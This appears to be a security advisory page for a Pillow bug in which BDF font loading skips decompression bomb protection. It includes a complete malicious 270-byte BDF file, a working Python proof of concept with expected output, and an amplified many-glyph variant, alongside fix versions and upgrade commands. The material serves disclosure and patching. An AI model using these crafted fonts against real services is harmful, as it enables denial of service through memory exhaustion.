Skip to content

GHSA-45hq-cxwh-f6vc BIT-pillow-2026-55379 CVE-2026-55379 PYSEC-2026-2255

Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading

High PyPI
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.52%
Chance of exploitation in the next 30 days. Higher than 44.33% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-789 Memory Allocation with Excessive Size Value
Fix
12.3.0
Upgrade pillow to this version or later

Description

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):

# width, height from attacker-controlled "BBX width height x y" line
try:
    im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
    # TRIGGERED when BITMAP section is empty (zero hex lines)
    im = Image.new("1", (width, height))   # ← NO _decompression_bomb_check()!
    # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")

from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()

print(f"[*] BDF file size  : {len(bdf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!

print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f"    Image.open() path would have raised DecompressionBombError")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size  : 270 bytes
[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
    Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact

  • Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
  • Confidentiality: None
  • Integrity: None
  • Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
  • Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected

Affected versions

PyPI

PackageVulnerableFixed in
pillow
< 12.3.0
12.3.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pillow PyPI → 12.3.0

pip
pip install --upgrade "pillow>=12.3.0"
poetry
poetry add "pillow>=12.3.0"
uv
uv add "pillow>=12.3.0"

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-789: Memory Allocation with Excessive Size Value

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

How to prevent it
  • Implementation, Architecture and Design: Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
  • Operation: Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
PYSEC-2023-175
Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863).
High Known exploited Also affects pillow
GHSA-j7hp-h8jx-5ppr
libwebp: OOB write in BuildHuffmanTable
High Known exploited Also affects pillow
GHSA-78g4-xqwv-q3g8
Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()
High Also affects pillow
GHSA-654x-cwwv-5j9c
Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1
Medium Also affects pillow
GHSA-xvh5-g6gv-559v
Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
High Also affects pillow
GHSA-g7cr-3p24-7wf7
Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer
High Also affects pillow
GHSA-9v9v-9qvf-h2hj
Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
High Also affects pillow
GHSA-g4qv-2jxx-769h
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Medium Also affects pillow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor